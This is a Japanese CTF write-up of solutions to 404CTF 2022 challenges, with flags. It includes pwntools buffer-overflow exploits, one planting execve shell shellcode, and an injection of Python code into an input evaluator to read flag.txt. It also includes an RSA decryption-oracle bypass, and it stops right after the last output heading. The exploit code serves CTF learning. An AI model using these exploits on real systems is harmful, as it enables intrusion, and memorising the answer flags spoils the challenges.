この大会は2022/5/16 19:00(JST)~2022/6/10 19:00(JST)に開催されました。
今回は一人チームで参戦。結果は18239点で2460チーム中136位でした。
自分で解けた問題をWriteupとして書いておきます。
Bienvenue (Divers)
問題にフラグが書いてあった。
404CTF{B13nV3Nu3_Ch3Z_L3s_s3rv1C3s_s3cr3Ts!}
Discord (Divers)
Discordに入り、#annoncesチャネルの404 BOTのメッセージでマスクしてフラグが隠れていた。
404CTF{4v3z_v0vz_lv_l35_r36l3z?}
Pierre-papier-Hallebarde (Divers)
flag.txtに"abcd"と設定する。
$ python pierre-papier-hallebarde.py Bienvenue sur pierre-papier-Hallebarde ! La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier Pour jouer entrez un chiffre entre 1 et 3 : 1 : pierre 2 : papier 3 : Hallebarde Choix ? > ord(open("flag.txt", "r").read()[0]) - 96 Vous avez choisi : pierre. L'ordinateur a choisi : papier. Vous avez perdu... Choix ?
1文字ずつブルートフォースで引き算をし、": "の後ろに"pierre"が表示されるものを探す。引き算したものの数値にプラス3したものの文字が該当する文字。
#!/usr/bin/env python3 import socket def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) flag = '' i = 0 while True: for code in range(30, 124): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.404ctf.fr', 30806)) inp = 'ord(open("flag.txt", "r").read()[%d]) - %d' % (i, code) data = recvuntil(s, b'> ') print(data + inp) s.sendall(inp.encode() + b'\n') data = recvuntil(s, b'\n') print(data) s.close() if 'invalide' not in data and 'pierre' in data: flag += chr(code + 3) break if flag[-1] == '}': break i += 1 print(flag)
実行結果は以下の通り。
: Bienvenue sur pierre-papier-Hallebarde ! La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier Pour jouer entrez un chiffre entre 1 et 3 : 1 : pierre 2 : papier 3 : Hallebarde Choix ? > ord(open("flag.txt", "r").read()[30]) - 120 Choix invalide. Vous avez perdu Bienvenue sur pierre-papier-Hallebarde ! La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier Pour jouer entrez un chiffre entre 1 et 3 : 1 : pierre 2 : papier 3 : Hallebarde Choix ? > ord(open("flag.txt", "r").read()[30]) - 121 Choix invalide. Vous avez perdu Bienvenue sur pierre-papier-Hallebarde ! La pierre bat la Hallebarde, le papier bat la pierre et la Hallebarde bat le papier Pour jouer entrez un chiffre entre 1 et 3 : 1 : pierre 2 : papier 3 : Hallebarde Choix ? > ord(open("flag.txt", "r").read()[30]) - 122 Vous avez choisi : Hallebarde. L'ordinateur a choisi : pierre. 404CTF{cH0iX_nUm3r0_4_v1c701r3}
404CTF{cH0iX_nUm3r0_4_v1c701r3}
Equipement désuet (Renseignement en sources ouvertes)
画像検索すると、minitelであることがわかる。以下のURLのページを確認すると、サービス終了日がわかった。
https://ja.wikipedia.org/wiki/%E3%83%9F%E3%83%8B%E3%83%86%E3%83%AB#:~:text=%E3%83%9F%E3%83%8B%E3%83%86%E3%83%AB%20(Minitel)%20%E3%81%AF%E3%80%81%E3%83%95%E3%83%A9%E3%83%B3%E3%82%B9,(Teletel)%20%E7%AB%AF%E6%9C%AB%E3%81%AE%E5%90%8D%E7%A7%B0%E3%80%82
2012年6月30日
404CTF{30_06_2012}
Compression (Programmation)
何重にも圧縮しているファイルを解凍していく。flag1.tar.bz2を解凍すると、flag.txtが展開され、フラグが書かれていた。
#!/usr/bin/env python3 import tarfile fname = 'flag2500.tar.gz' for i in range(2500, 0, -1): with tarfile.open(fname) as tar: fname = tar.getmembers()[0].name tar.extractall()
404CTF{C0mPr3Ssi0n_m4X1m4L3_m41S_p4S_3ff1C4c3}
Découpé (Programmation)
576個のpng画像があるので、24x24の正方形に結合する。QRコードになるので、読み取る。
#!/usr/bin/env python3 from PIL import Image CELL_SIZE = 33 COUNT = 24 SIZE = CELL_SIZE * COUNT output_img = Image.new('RGB', (SIZE, SIZE), (255, 255, 255)) for y in range(COUNT): for x in range(COUNT): index = x + y * COUNT fname = 'output/%d.png' % (index + 1) img = Image.open(fname).convert('RGB') output_img.paste(img, (x * CELL_SIZE, y * CELL_SIZE)) output_img.save('flag.png')
404CTF{M4n1PuL4T10N_d'1M4g3S_F4c1L3_n0N?}
Trop facile (Exploitation de binaires)
$ file compromis compromis: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=1fbd2c6fc0db74a8b50ba3ca17eae059e4b74c27, for GNU/Linux 4.4.0, not stripped
BOFでcheckとkeyの値を設定する。
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challenge.404ctf.fr', 32458) else: p = process('./compromis') payload = b'A' * 40 payload += p32(0xdeadbeef) payload += p32(0xcafebebe) print(payload) p.sendline(payload) data = p.recvline().rstrip().decode() print(data) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challenge.404ctf.fr on port 32458: Done b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde\xbe\xbe\xfe\xca' Bon retour à la Hallebarde, agent! [*] Switching to interactive mode $ ls compromis flag.txt $ cat flag.txt 404CTF{C_7r0P_F4C113_D3_PWN_14_H411384rD3}
404CTF{C_7r0P_F4C113_D3_PWN_14_H411384rD3}
Sans protection (Exploitation de binaires)
$ file fragile fragile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a457609506482cdebb144dbacd9c1f6fba34955, stripped
Ghidraでデコンパイルする。
undefined8 FUN_00400607(void) { char local_48 [64]; setvbuf(stdout,(char *)0x0,2,0); puts(&DAT_004006f8); printf("Cadeau : %p\n",local_48); gets(local_48); return 0; }
bufferの先頭にshellcodeを置き、そのアドレスをreturnアドレスの位置に書き込む。
#/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challenge.404ctf.fr', 31720) else: p = process('./fragile') data = p.recvline().rstrip().decode() print(data) data = p.recvline().rstrip().decode() print(data) buf_addr = int(data.split(' ')[-1], 16) shellcode = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' payload = shellcode payload += b'A' * (64 - len(shellcode)) payload += b'B' * 8 payload += p64(buf_addr) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challenge.404ctf.fr on port 31720: Done Montrez-nous de quoi vous êtes capable ! Cadeau : 0x7ffe204c0600 [*] Switching to interactive mode $ ls flag.txt fragile $ cat flag.txt 404CTF{V0U5_3735_Pr37_P0Ur_14_Pr0CH41N3_M15510N}
404CTF{V0U5_3735_Pr37_P0Ur_14_Pr0CH41N3_M15510N}
Mot de passe ? (Rétro-ingénierie)
http://www.javadecompilers.com/でデコンパイルする。
// // Decompiled by Procyon v0.5.36 // package chall; import java.util.Scanner; public class Mdp { public static void main(final String[] array) { final String s = "4/2@PAu<+ViNgg%^5NS`#J\u001fNK<XNW(_"; final Scanner scanner = new Scanner(System.in); System.out.print("Mot de passe Admin:"); if (s.equals(hide(scanner.nextLine()))) { System.out.println("Bienvenue Admin"); } else { System.out.println("Au revoir non admin"); } } static String hide(final String s) { String s2 = ""; for (char index = '\0'; index < s.length(); ++index) { s2 = invokedynamic(makeConcatWithConstants:(Ljava/lang/String;C)Ljava/lang/String;, s2, (char)((char)(s.charAt(index) - index) % '\u0080')); } return s2; } }
"4/2@PAu<+ViNgg%^5NS`#J\u001fNK
#!/usr/bin/env python3 s = '4/2@PAu<+ViNgg%^5NS`#J\u001fNK<XNW(_' flag = '' for i in range(len(s)): flag += chr(ord(s[i]) + i) print(flag)
404CTF{C3_sYst3mE_es7_5ecUrisE}
Renverse la tour ! [1/2] (Rétro-ingénierie)
逆算していけばよい。
#!/usr/bin/env python3 def rev_tour1(password): return ''.join([c for c in password])[::-1] def rev_tour2(password): return password[::2] def rev_tour3(password): mdp =['l', 'x', 'i', 'b', 'i', 'i', 'q', 'u', 'd', 'v', 'a', 'v', 'b', 'n', 'l', 'v', 'v', 'l', 'g', 'z', 'q', 'g', 'i', 'u', 'd', 'u', 'd', 'j', 'o', 'r', 'y', 'r', 'u', 'a'] for i in range(len(password)): mdp[i], mdp[len(password) - i -1 ] = chr(ord(password[len(password) - i -1 ]) - i % 4), chr(ord(password[i]) - i % 4) return "".join(mdp) enc = '¡P6¨sÉU1T0d¸VÊvçu©6RÈx¨4xFw5' enc = rev_tour3(enc) enc = rev_tour2(enc) enc = rev_tour1(enc) flag = '404CTF{%s}' % enc print(flag)
404CTF{P4sS1R0bUst3Qu3C4}
Mise à jour requise (Rétro-ingénierie)
逆算していけばよい。
#!/usr/bin/python3 import random as rd def a(c, r=True): n = ord(c) if r: rd.seed(n) match n: case 0: return dict.fromkeys(range(10), 0) case _: return (d:=a(chr(n - 1), False)) | {(m:=rd.randint(0, 9)): d[m] + rd.randint(0,2)} def rev_shuffle(l, n): try_l = list(range(len(l))) rd.seed(n) rd.shuffle(try_l) return [l[try_l.index(i)] for i in range(len(l))] s = [16, 3, 12, 9, 1, 60, 1, 3, 14, 39, 13, 16, 16, 1, 9, 13, 3, 39, 60, 16, 16, 1, 60, 7, 39, 13, 3, 13, 18, 3, 13, 25, 14, 3, 1, 14, 60, 13, 32, 13, 3, 39, 16, 18, 18, 3, 43, 16, 18, 3, 1, 43, 18, 16, 13, 16, 1, 3, 1, 16, 13, 18, 60, 16, 3, 3, 14, 18, 13, 14, 16, 18, 7, 3, 7, 25, 7, 7, 13, 13, 13, 3, 60, 1, 3, 13, 1, 25, 18, 16, 32, 16, 60, 1, 7, 44, 18, 39, 39, 39, 60, 3, 1, 60, 3, 16, 13, 13, 14, 1, 3, 39, 39, 31, 32, 39, 32, 18, 39, 3, 13, 32, 60, 7, 7, 39, 14, 3, 18, 14, 60, 39, 18, 7, 1, 32, 13, 3, 14, 39, 39, 7, 1, 1, 13, 29, 60, 13, 39, 14, 14, 16, 60, 1, 3, 44, 14, 3, 1, 1, 1, 39, 13, 14, 39, 18, 3, 7, 13, 39, 32, 1, 43, 1, 16, 1, 3, 18, 14, 25, 32, 7, 13, 39, 7, 1, 3, 60, 13, 13, 7, 18, 1, 3, 18, 1, 60, 7, 1, 39, 14, 3, 39, 7, 31, 1, 7, 18, 7, 32, 3, 3, 14, 32, 14, 1, 32, 12, 18, 31, 39, 1, 13, 13, 43, 44, 32, 3, 32, 60, 14, 60, 60, 7, 3, 1, 3, 3, 14, 1, 60, 16, 44, 3, 1, 32, 13, 5, 16, 39, 3, 60, 7, 14, 3, 13, 7, 31, 13, 39, 9, 3, 44, 13, 16, 14, 18, 18, 3, 7, 3, 3, 3, 7, 3, 3, 16, 39, 3, 3, 13, 32, 13, 3, 18, 7, 10, 3, 18, 1, 7, 7, 18, 13, 43, 18, 3, 32, 39, 32, 13, 1, 18, 10, 1, 32, 1, 16, 32, 3, 44, 3, 18, 1, 1, 1, 16, 18, 25, 60, 1, 39, 1, 18, 60, 16, 1, 7, 3, 13, 16, 18, 39, 14, 7, 14, 3, 14, 13, 7, 16, 10, 18, 13, 3, 16, 13, 3, 32, 43, 13, 14, 1, 13, 1, 14, 18, 60, 7, 3, 7, 31, 1, 18, 26, 7, 3, 3, 32, 1, 7, 18, 7, 1, 16, 18, 39, 14, 7, 3 ] res_b = [] for n in range(len(s)): rd.seed(s[n]) res_b.append(rd.randint(0, 30)) length = len(s) // 10 flag = '' for i in range(length): res_b_before = rev_shuffle(res_b, 2**i) res_a = res_b_before[:10] res_b = res_b_before[10:] for code in range(32, 127): if list(a(chr(code)).values()) == res_a: flag += chr(code) break print(flag)
404CTF{M3RC1_PY7H0N3.10_P0UR_L3_M47CH}
Renverse la tour ! [2/2] (Rétro-ingénierie)
Pythonアセンブリをコードに起こすと、以下のようになる。
#!/usr/bin/env python3 def main(): inp = input() s = True n = '' p = '' f = [88, 1, 140, 1, 203, 208, 89, 207, 132, 191, 178, 110, 138, 132, 210, 1, 140, 156, 138, 140, 191, 187, 89, 89, 187, 1, 208, 231, 161, 235, 178, 188, 187, 132, 187] if inp == '': print('Nope') return s for k in range(len(inp)): n += inp[int(len(inp) - k - 1)] d = [159, 44, 176, 145, 103, 133, 49, 97, 113, 136, 184, 60, 85, 69, 64, 186, 182, 37, 56, 170, 19, 108, 152, 183, 41, 197, 252, 77, 35, 127, 198, 43, 148, 48, 46, 62, 15, 139, 95, 9, 38, 73, 160, 175, 226, 254, 129, 211, 132, 7, 90, 208, 187, 164, 158, 201, 116, 93, 54, 87, 126, 128, 16, 50, 244, 12, 4, 188, 166, 59, 235, 28, 199, 92, 216, 192, 231, 51, 61, 39, 220, 180, 204, 210, 178, 75, 17, 91, 143, 94, 34, 70, 222, 125, 131, 195, 33, 223, 242, 156, 232, 140, 67, 24, 111, 141, 162, 66, 45, 207, 138, 202, 89, 122, 191, 1, 110, 203, 241, 196, 82, 72, 76, 161, 117, 88, 105, 147, 119, 6, 157, 249, 168, 81, 32, 224, 237, 5, 146, 27, 80, 57, 42, 102, 172, 219, 114, 8, 31, 26, 238, 30, 212, 106, 221, 240, 118, 149, 165, 65, 83, 154, 151, 96, 36, 253, 250, 100, 74, 21, 189, 169, 239, 142, 173, 217, 181, 86, 29, 68, 155, 115, 225, 135, 0, 130, 101, 112, 206, 185, 227, 245, 18, 58, 243, 137, 20, 99, 3, 2, 233, 22, 55, 11, 13, 214, 84, 200, 47, 190, 205, 209, 53, 194, 229, 171, 248, 230, 109, 234, 236, 98, 213, 247, 150, 104, 79, 134, 71, 144, 25, 218, 107, 179, 124, 167, 251, 14, 78, 193, 40, 163, 123, 10, 246, 120, 23, 174, 63, 153, 228, 52, 121, 177, 215] for i in range(len(inp)): p += chr(d[int(ord(n[i]))]) for j in range(len(f)): if f[j] != ord(p[j]): print('Nope !') return s return s
このコードから以下の条件を満たすinpを求める必要がある。
条件:inpの逆順の各文字のASCIIコードをインデックスとしたdの値がfと同じになる。
#!/usr/bin/env python3 f = [88, 1, 140, 1, 203, 208, 89, 207, 132, 191, 178, 110, 138, 132, 210, 1, 140, 156, 138, 140, 191, 187, 89, 89, 187, 1, 208, 231, 161, 235, 178, 188, 187, 132, 187] d = [159, 44, 176, 145, 103, 133, 49, 97, 113, 136, 184, 60, 85, 69, 64, 186, 182, 37, 56, 170, 19, 108, 152, 183, 41, 197, 252, 77, 35, 127, 198, 43, 148, 48, 46, 62, 15, 139, 95, 9, 38, 73, 160, 175, 226, 254, 129, 211, 132, 7, 90, 208, 187, 164, 158, 201, 116, 93, 54, 87, 126, 128, 16, 50, 244, 12, 4, 188, 166, 59, 235, 28, 199, 92, 216, 192, 231, 51, 61, 39, 220, 180, 204, 210, 178, 75, 17, 91, 143, 94, 34, 70, 222, 125, 131, 195, 33, 223, 242, 156, 232, 140, 67, 24, 111, 141, 162, 66, 45, 207, 138, 202, 89, 122, 191, 1, 110, 203, 241, 196, 82, 72, 76, 161, 117, 88, 105, 147, 119, 6, 157, 249, 168, 81, 32, 224, 237, 5, 146, 27, 80, 57, 42, 102, 172, 219, 114, 8, 31, 26, 238, 30, 212, 106, 221, 240, 118, 149, 165, 65, 83, 154, 151, 96, 36, 253, 250, 100, 74, 21, 189, 169, 239, 142, 173, 217, 181, 86, 29, 68, 155, 115, 225, 135, 0, 130, 101, 112, 206, 185, 227, 245, 18, 58, 243, 137, 20, 99, 3, 2, 233, 22, 55, 11, 13, 214, 84, 200, 47, 190, 205, 209, 53, 194, 229, 171, 248, 230, 109, 234, 236, 98, 213, 247, 150, 104, 79, 134, 71, 144, 25, 218, 107, 179, 124, 167, 251, 14, 78, 193, 40, 163, 123, 10, 246, 120, 23, 174, 63, 153, 228, 52, 121, 177, 215] flag = '' for c in f: flag = chr(d.index(c)) + flag print(flag)
404CTF{L3s4pp4rencesS0ntTr0mp3uses}
Floppy (Analyse forensique)
FTK Imagerで開くと、[roor]直下に削除ファイルとしてIMG_0003.jpgがあるので、エクスポートする。
エクスポートした画像にフラグが書いてあった。
404CTF{@v3z_v0vz_z0rt1_135_p0ub3ll35}
Ping Pong (Analyse forensique)
ICMPのデータの長さをASCIIコードとしてデコードする。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('ping.pcapng') flag = '' for p in packets: if p[ICMP].type == 8: l = len(p[Raw].load) flag += chr(l) print(flag)
404CTF{Un_p1ng_p0ng_p4s_si_1nn0c3nt}
Un agent compromis [1/3] (Analyse forensique)
httpでフィルタリングする。No.25721のパケットから、exfiltration.pyをエクスポートする。このコード中にフラグが書いてあった。
404CTF{t3l3ch4rg3m3n7_b1z4rr3}
Un agent compromis [2/3] (Analyse forensique)
DNS問い合わせで、以下の間で
・never-gonna-give-you-up.hallebarde.404ctf.fr ・626567696E.hallebarde.404ctf.fr
この間からfilenameを取得し、ソートする。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('capture-reseau.pcapng') fileFlag = False files = [] for p in packets: if p.haslayer(IP) and p[IP].dst == '192.168.122.1': qname = p[DNSQR].qname.decode() if qname == 'never-gonna-give-you-up.hallebarde.404ctf.fr.': fileFlag = True elif qname == '626567696E.hallebarde.404ctf.fr.': fileFlag = False elif fileFlag: files.append(bytes.fromhex(qname.split('.')[0]).decode()) files.sort() flag = '404CTF{%s}' % ','.join(files) print(flag)
404CTF{exfiltration.py,flag.txt,hallebarde.png,super-secret.pdf}
SOS RAID [1/2] (Analyse forensique)
disk0.imgとdisk1.imgのXORでdisk2.imgを作成する。1バイトずつ、2つのディスクのデータを拾っていくと、diskを復旧できる。
with open('disk0.img', 'rb') as f: disk0 = f.read() with open('disk1.img', 'rb') as f: disk1 = f.read() disk2 = b'' for i in range(len(disk0)): disk2 += bytes([disk0[i] ^ disk1[i]]) with open('disk2.img', 'wb') as f: f.write(disk2) disk = b'' p = 2 for i in range(len(disk0)): if p != 0: disk += bytes([disk0[i]]) if p != 1: disk += bytes([disk1[i]]) if p != 2: disk += bytes([disk2[i]]) p = (p - 1) % 3 with open('disk.img', 'wb') as f: f.write(disk)
展開すると、flag.txtが抽出でき、フラグが書いてあった。
404CTF{RAID_5_3st_p4s_tr3s_c0mpl1qu3_1abe46685ecf}
SOS RAID [2/2] (Analyse forensique)
flag_c0rr_pt3d.pngも見つかっているが、壊れているので、修復する。
0x0005-0x0006 00 00 -> 0a 1a 0x000a ff -> 00 0xf19e ad -> 00
あとは高さが異なっているので、CRCが合うものをブルートーフォースで探す。
import struct import binascii with open('flag_c0rr_pt3d_fix.png', 'rb') as f: data = f.read() head = data[:16] tail = data[33:] orig_crc = data[29:33] w = 1152 for h in range(1, 1024): width = struct.pack('>I', w) height = struct.pack('>I', h) ihdr = b'IHDR' + width + height + b'\x08\x06\x00\x00\x00' crc = struct.pack('!I', binascii.crc32(ihdr)) if crc == orig_crc: out = head + width + height out += b'\x08\x06\x00\x00\x00' out += crc + tail fname = 'flag_c0rr_pt3d_fix2.png' with open(fname, 'wb') as f: f.write(out) break
復元すると、画像にフラグが書いてあった。
404CTF{L4_C0rr_pt10N_s3_r_p4r_}
Hackllebarde ransomware [1/4]
172.17.0.2宛の通信のTCPのflagsの値にPDFが1バイトずつ流れていると推測できる。結合しPDFを復元すると、フラグが書かれていた。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('ransomware1.pcapng') data = b'' for p in packets: if p.haslayer(TCP) and p[IP].dst=='172.17.0.2': data += bytes([int(p[TCP].flags)]) with open('flag.pdf', 'wb') as f: f.write(data)
404CTF{L3s_fL4gS_TCP_Pr1S_3n_fL4G}
La plume à la main (Stéganographie)
各行の先頭の文字を縦に読む。
V1v3_l4_Fr4nc3_l1br3
404CTF{V1v3_l4_Fr4nc3_l1br3}
PNG Un logo obèse [1/4] (Stéganographie)
pngの後ろにzipがくっついているので、切り出す。切り出したzipを展開すると、pngが展開され、画像にフラグが書いてあった。
404CTF{0b3z3_f1l3_h4z_zup3r_spy_s3cr37}
PNG Drôles de chimères [2/4] (Stéganographie)
IHDRチャンクが2つ入っている。またsTeGチャンクが入っている。最初のIHDRチャンクとsTeGチャンクを削除すると、画像にフラグが書いてあった。
404CTF{7h47_v1c10us_m1zzing_z19natur3}
PNG Toujours obèse [3/4] (Stéganographie)
$ zsteg stage3.png extradata:imagedata .. file: PNG image data, 800 x 600, 8-bit/color RGBA, non-interlaced 00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR| 00000010: 00 00 03 20 00 00 02 58 08 06 00 00 00 9a 76 82 |... ...X......v.| 00000020: 70 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 |p....bKGD.......| 00000030: bd a7 93 00 00 00 09 70 48 59 73 00 00 0b 13 00 |.......pHYs.....| 00000040: 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 |.......... .IDAT| 00000050: 78 9c ec bd 07 7c 94 55 f6 ff 7f 9f 36 bd 65 52 |x....|.U....6.eR| 00000060: 29 16 5c 65 15 cb 8a 80 14 81 d0 7b 0b 21 d4 d0 |).\e.......{.!..| 00000070: 23 bd 23 5d 0c 58 16 5d 5d 45 d7 b2 ac ba 76 44 |#.#].X.]]E....vD| 00000080: c0 8e 5d d7 45 29 02 21 09 a4 87 40 12 4a 20 21 |..].E).!...@.J !| 00000090: 99 64 fa cc 53 7f e7 3c 33 41 77 7f bf ff eb ff |.d..S..<3Aw.....| 000000a0: ad e2 ae f7 8d c7 fb d4 99 e7 99 cc dc b9 9f 39 |...............9| 000000b0: f7 9c c3 10 0a 85 42 a1 50 28 14 0a 85 42 f9 99 |......B.P(...B..| 000000c0: 60 ae f6 05 50 28 14 0a 85 42 a1 50 28 14 0a 85 |`...P(...B.P(...| 000000d0: 42 a1 50 28 14 0a 85 42 a1 fc 8f c3 5d ed 0b a0 |B.P(...B....]...| 000000e0: 50 28 14 0a 85 42 a1 50 28 bf 1e e8 14 2c 0a 85 |P(...B.P(....,..| 000000f0: 42 a1 50 28 14 0a 85 f2 b3 c1 5e ed 0b a0 50 28 |B.P(......^...P(| imagedata .. text: "z!!!\t112" $ zsteg stage3.png -e extradata:imagedata > flag.png
画像にフラグが書いてあった。
404CTF{z71ll_0b3z3_&_st1ll_h4d_s3cr3tz_4_U}
Un RSA incassable? (Cryptanalyse)
nを素因数分解する。
$ python -m primefac 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181: 4023565787 2900891821 3560494649 3585015977 2908514743 2379443669 3132223999 3166178749 3837412127 2462984113 3103669319 2547151627 3356051399 2436205657 2880934613 4157125969 2879122817 4242244397 3729776389 3667357531 2778293267 2199478601 3563338969 2155535293 3976581139 2911937201 3939808331 3889812197 3222160589 2778911501 2389392361 2686629157 4254782471 2738125309 3426525181 4277613239 2339050229 2800829821 2322429719 2966345311 2295459937 3223685581 2917907323 3184079849 3806038133 4236657239 3206428061 2898630157 2635311961 3232212233 4168849637 4249725811 3892296953 3103875457 3921428509 3706613399 2886660797 3867368123 2516886503 4106593759 3581219329 4103248031 4191669737 2952780151
Multi-Prime RSA暗号の問題。あとは通常通り復号する。
#!/usr/bin/python3 from Crypto.Util.number import * n = 264260849184973464982616810011189432725471679851535970549752992980013685427054130834600835230399904802462965456974947538318213223585436360002292504595152950137188712696208597449140460215140901426523911789537180980494972189978839047835537352914856104135490608512555869141766081593589643441958443651294711541856201978508340915671607277979591968248058399795168563294090427290234733756922544755667413890558324220843460177193246018531280862561066074120654752753002311679435459237771670352371010596105395795940209523309781850979927988566194373203050532192192865140293356042897510103979797577385050030819647066037181 e = 65537 c = 40110232492214007673187408092050413824057587648366839143339482691859337096033351102276645395275735274322548715598894335826499267358923539936373981416212599523632227239475760261528220077888121552688286380591552417803111794635687206274867498165659330678667435332328065173075710535404048653621228158847748005294255562046654937629633514846123655978199420228460405580305729253303227936760801772396770804796700223239015341586701669475537453700175448572495847377417335800300005252499067811919833639526361733535793115856365357616339193637149185654816751038389408567777725988888990153670326115611236718811592564298263 ps = [4023565787, 2900891821, 3560494649, 3585015977, 2908514743, 2379443669, 3132223999, 3166178749, 3837412127, 2462984113, 3103669319, 2547151627, 3356051399, 2436205657, 2880934613, 4157125969, 2879122817, 4242244397, 3729776389, 3667357531, 2778293267, 2199478601, 3563338969, 2155535293, 3976581139, 2911937201, 3939808331, 3889812197, 3222160589, 2778911501, 2389392361, 2686629157, 4254782471, 2738125309, 3426525181, 4277613239, 2339050229, 2800829821, 2322429719, 2966345311, 2295459937, 3223685581, 2917907323, 3184079849, 3806038133, 4236657239, 3206428061, 2898630157, 2635311961, 3232212233, 4168849637, 4249725811, 3892296953, 3103875457, 3921428509, 3706613399, 2886660797, 3867368123, 2516886503, 4106593759, 3581219329, 4103248031, 4191669737, 2952780151] phi = 1 for p in ps: phi *= p - 1 d = inverse(e, phi) m = pow(c, d, n) flag = long_to_bytes(m).decode() print(flag)
404CTF{F41t35_4tt3t10n5_4v3c_l3_R54}
Un simple oracle [1/2] (Cryptanalyse)
$ nc challenge.404ctf.fr 32128 Voici le message secret que je dois garder. Vous pouvez le voir, de toute façon vous ne pourrez rien en faire! 1334960178210525694688990772016659323182798373720923275444192244832199975303109108870617396034588633826039920556079309726326947356370909361396560329787357430125467722159694346165619532942286095450373569601541133335649968079912386236878747087842906900080967699847930435163800319988975532888944560203990200593599547454946977315151126985735308809869979511216495914411441362955902533636190229816012309753960235576511019285664554753886936373138838320824448620021560124251072458646989739389711345844948266996748299519181955914020265923772355969197935482344894659493652005300099222167482042264976768629382128184834311867932 J'en profite également pour noter quelques informations ici: N = 24691919315233473339480698649952756841730958631435003079890199121249261707118960378807398691379982168666196022200549209801013650556394444257575985152839377971417733784810051100018319466610545725247629706794221520443282405045549391126733399837695288108740892878378894783204334625711973024734649078104364668309738909302024125078800609709277638542658832822122082388400668538484009866358032614884330797025136886457047402965126741076265916829815785885906628940057387253640330420469832594056844893002288992816253549692910652852906259844707063883087652376798279797962342818020213484233674267032725841722083623005225135457673 e = 65537 Ceci étant dit, passons à ce que vous vouliez me dire! > 1334960178210525694688990772016659323182798373720923275444192244832199975303109108870617396034588633826039920556079309726326947356370909361396560329787357430125467722159694346165619532942286095450373569601541133335649968079912386236878747087842906900080967699847930435163800319988975532888944560203990200593599547454946977315151126985735308809869979511216495914411441362955902533636190229816012309753960235576511019285664554753886936373138838320824448620021560124251072458646989739389711345844948266996748299519181955914020265923772355969197935482344894659493652005300099222167482042264976768629382128184834311867932 Je refuse de répondre à ceci > 1 Voici ma réponse: 1 > 2 Voici ma réponse: 24496106346394372333487710097296881711525506309108723300552691087196355296339422012602465776276884834837394099628100167825775929457115758580351984304892717143774780178282549463792187122210046371073941293229013300695353778524749982933079758747250732045870760215476541406569995827676155562666899194632095039619397546319826556577463679979837441832937372490604244439226347257322075045559408860766545178172861950681413060597589632367457831631961433273342023502227163672778626443757081373007501447612298723644261415615229173106016295864501225148427501439476421608007602662807635477696041904680832378179699817615230429005163 >>> N = 24691919315233473339480698649952756841730958631435003079890199121249261707118960378807398691379982168666196022200549209801013650556394444257575985152839377971417733784810051100018319466610545725247629706794221520443282405045549391126733399837695288108740892878378894783204334625711973024734649078104364668309738909302024125078800609709277638542658832822122082388400668538484009866358032614884330797025136886457047402965126741076265916829815785885906628940057387253640330420469832594056844893002288992816253549692910652852906259844707063883087652376798279797962342818020213484233674267032725841722083623005225135457673 >>> e = 65537 >>> m = 24496106346394372333487710097296881711525506309108723300552691087196355296339422012602465776276884834837394099628100167825775929457115758580351984304892717143774780178282549463792187122210046371073941293229013300695353778524749982933079758747250732045870760215476541406569995827676155562666899194632095039619397546319826556577463679979837441832937372490604244439226347257322075045559408860766545178172861950681413060597589632367457831631961433273342023502227163672778626443757081373007501447612298723644261415615229173106016295864501225148427501439476421608007602662807635477696041904680832378179699817615230429005163 >>> pow(m, e, N) 2
指定したものを復号できる。提示された暗号を2つの積にして、それぞれの復号結果の積を算出すれば、提示された暗号を復号できる。
#!/usr/bin/env python3 import socket from Crypto.Util.number import * def recvuntil(s, tail): data = b'' while True: if tail in data: return data.decode() data += s.recv(1) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('challenge.404ctf.fr', 32128)) for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) c = int(data) found = False for c1 in range(2, 1024): if c % c1 == 0: found = True break assert found c2 = c // c1 for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) N = int(data.split(' ')[-1]) data = recvuntil(s, b'> ') print(data + str(c1)) s.sendall(str(c1).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) m1 = int(data) data = recvuntil(s, b'> ') print(data + str(c2)) s.sendall(str(c2).encode() + b'\n') for _ in range(2): data = recvuntil(s, b'\n').rstrip() print(data) m2 = int(data) m = (m1 * m2) % N flag = long_to_bytes(m).decode() print(flag)
実行結果は以下の通り。
